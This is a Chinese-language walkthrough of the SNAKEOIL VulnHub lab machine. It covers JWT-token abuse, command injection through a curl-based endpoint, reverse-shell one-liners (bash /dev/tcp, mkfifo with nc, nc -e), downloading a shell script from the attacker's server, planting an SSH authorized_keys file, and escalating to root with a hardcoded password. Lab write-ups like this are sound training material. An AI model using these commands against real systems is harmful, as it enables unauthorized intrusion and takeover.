10

vulnhub靶场之DIGITALWORLD.LOCAL: SNAKEOIL - upfine

 1 year ago
source link: https://www.cnblogs.com/upfine/p/16897299.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

vulnhub靶场之DIGITALWORLD.LOCAL: SNAKEOIL

准备:

攻击机:虚拟机kali、本机win10。

靶机:DIGITALWORLD.LOCAL: SNAKEOIL,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/digitalworld/SNAKEOIL.7z,下载后直接vbox打开即可。

知识点:命令执行、私匙制作和登录(ssh-keygen)、bp的使用。

2834847-20221116194536348-1310867870.png

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.16.110.0/24,获得靶机地址:192.168.110.180。

2834847-20221121193445121-1719111124.png

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.110.180,显示开放了22、80、8080端口,开启了ssh、http服务。

2834847-20221121193538871-1327711655.png

访问下80和8080端口,在8080端口的Useful Links下发现了一个网站:https://flask-jwt-extended.readthedocs.io/en/stable/options/,主要和flask-jw的配置有关。

2834847-20221121193956893-1974479598.png

使用dirsearch对8080端口进行目录扫描(80未发现有用信息),命令:python dirsearch.py -u http://192.168.110.180:8080 -e * -w D:\soft\seep\dirsearch\db\dicc.txt,发现/users、/test、/secret等目录信息。

2834847-20221121194237556-2018589223.png

对扫描出来的目录进行访问测试,发现在访问:http://192.168.110.180:8080/users时返回了users的账户和密码信息,访问:http://192.168.110.180:8080/registration时显示方法错误,那就使用bp抓包修改下请求方式。

2834847-20221121194601572-79540993.png

2834847-20221121194720730-876058633.png

BP修改数据包:

访问:http://192.168.110.180:8080/registration使用bp进行抓包并修改请求方式,进行模拟提交查看返回的数据,返回:Username field cannot be blank。

2834847-20221121195139278-1415413582.png

那就添加用户名信息:username=upfine,但是告诉我们password也不能是空,那就写入密码进行注入,最后注册成功:upfine/123。

2834847-20221121200416060-473882443.png
2834847-20221121200718445-2060713209.png

使用注册的账户名和密码:upfine/123进行登录,访问:http://192.168.110.180:8080/login,返回信息:The method is not allowed for the requested URL,那就修改下请求方法为post,成功获得access_token和refresh_token。

2834847-20221121201841943-1604991332.png
{"message": "Logged in as upfine",
 "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY2OTAzMzAzNywianRpIjoiOGMwYzgxMTEtMTc3YS00YjgwLTk4NDItOWQxMGEyNDAwMGRiIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InVwZmluZSIsIm5iZiI6MTY2OTAzMzAzNywiZXhwIjoxNjY5MDMzOTM3fQ.923Y782zfLKCZIjy7LB_MVP0gJNFZHCf5eTgW6eRrNc", 
 "refresh_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY2OTAzMzAzNywianRpIjoiNzlkOTRkYTUtNGJmMS00YzA2LThjNjktMGU5ODVjYTIxNzEzIiwidHlwZSI6InJlZnJlc2giLCJzdWIiOiJ1cGZpbmUiLCJuYmYiOjE2NjkwMzMwMzcsImV4cCI6MTY2OTAzNjYzN30.kljPY4fWlHEZ-h31kvQabGmkTnBljOTo47dvbLUiLzw"}

访问:http://192.168.110.180:8080/run,返回信息告诉我们需要输入参数url,输入url之后进行请求,返回信息告诉我么需要提交secret_key。输入参数注意其输入格式,可以看出和json格式类似。

2834847-20221121202949729-1515393386.png

2834847-20221121203412873-1716022319.png

访问/serect返回:Internal Server Error,在开始发现的jwt配置网站:https://flask-jwt-extended.readthedocs.io/en/stable/options/,查找关于登陆成功时返回的access_token的信息,找到携带身份认证信息的键值名称:access_token_cookie,输入cookie信息,成功获取到secret_key:commandexecutionissecret。

2834847-20221121205358215-2120877564.png

利用获取到的secret_key:commandexecutionissecret,返回到http://192.168.110.180:8080/run的数据包并输入secret_key:commandexecutionissecret进行请求访问,返回信息疑似命令执行的结果,输入;查看下进行命令执行的命令,发现是curl命令。

2834847-20221121211913828-1363106655.png
2834847-20221121214904966-1164083108.png

查看下curl的命令使用方法,发现curl -V时会返回版本信息并且退出curl命令,这时候我们利用&&来执行我们要执行的命令,如:id、ls。

2834847-20221121215331263-645016552.png
2834847-20221121213801671-731870798.png

获取shell:

通过三种shell反弹方式进行反弹,均是反弹失败,返回:Banned command。

bash -c 'bash -i >& /dev/tcp/192.168.110.180/6688 0>&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.110.180 6688 >/tmp/f
nc -e /bin/bash 192.168.110.180 6688
2834847-20221121220144234-631399276.png

在kali中开启一个简易的web服务:python3 -m http.server 8000,编写一个shell反弹脚本上传到靶机中,命令:-V&&wget http://192.168.110.178:8000/shell.sh -o shell.sh;,kali端开启对6688端口的监听:nc -lvvp 6688,然后对靶机中的shell.sh脚本赋予执行权限:chmod +x shell.sh,然后执行,失败无法反弹shell。

2834847-20221121223910729-194392343.png

2834847-20221121223341215-258720012.png

制作ssh私匙登录:

使用ssh-keygen制作私匙文件并将文件复制到python开启的http服务中,然后修改文件名字为:authorized_keys。

2834847-20221121233442478-1454831671.png
2834847-20221121233610732-195187305.png

通过命令执行漏洞上传私匙文件,命令:http://192.168.110.178:8800/authorized_keys -O 127.0.0.1;。

2834847-20221121233705203-1762534310.png

在靶机上查看authorized_keys 以确认是否上传成功(命令:-V&&ls -l;),然后并将该文件移动到/home/patrick/.ssh/目录下,命令:-V&&mv authorized_keys /home/patrick/.ssh/;,然后查看.ssh目录是否存在该文件。

2834847-20221121234628617-1210094807.png
2834847-20221121235256232-21192170.png

使用ssh登录成功获得shell权限,命令:ssh [email protected] -i ~/.ssh/upfine,这里的密码是制作私匙时输入的密码。

2834847-20221121235528155-381885697.png

在本地目录下发现local.txt文件并进行访问,成功获取到第一个flag信息。

2834847-20221121235722388-1352304428.png

提权:

查看下当前账户是否存在可以使用的特权命令,sudo -l,显示只有shutdown才可以不需要root命令执行。

2834847-20221122000053770-1884721841.png

最后一番查找在flask_blog目录下的app.py文件中发现了隐藏的密码:NOreasonableDOUBTthisPASSWORDisGOOD。

2834847-20221122000445349-2133411254.png

使用发现的密码切换成root账户:sudo su,在/root文件夹下发现proof.txt文件并读取flag信息。

2834847-20221122000719500-1371581083.png

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK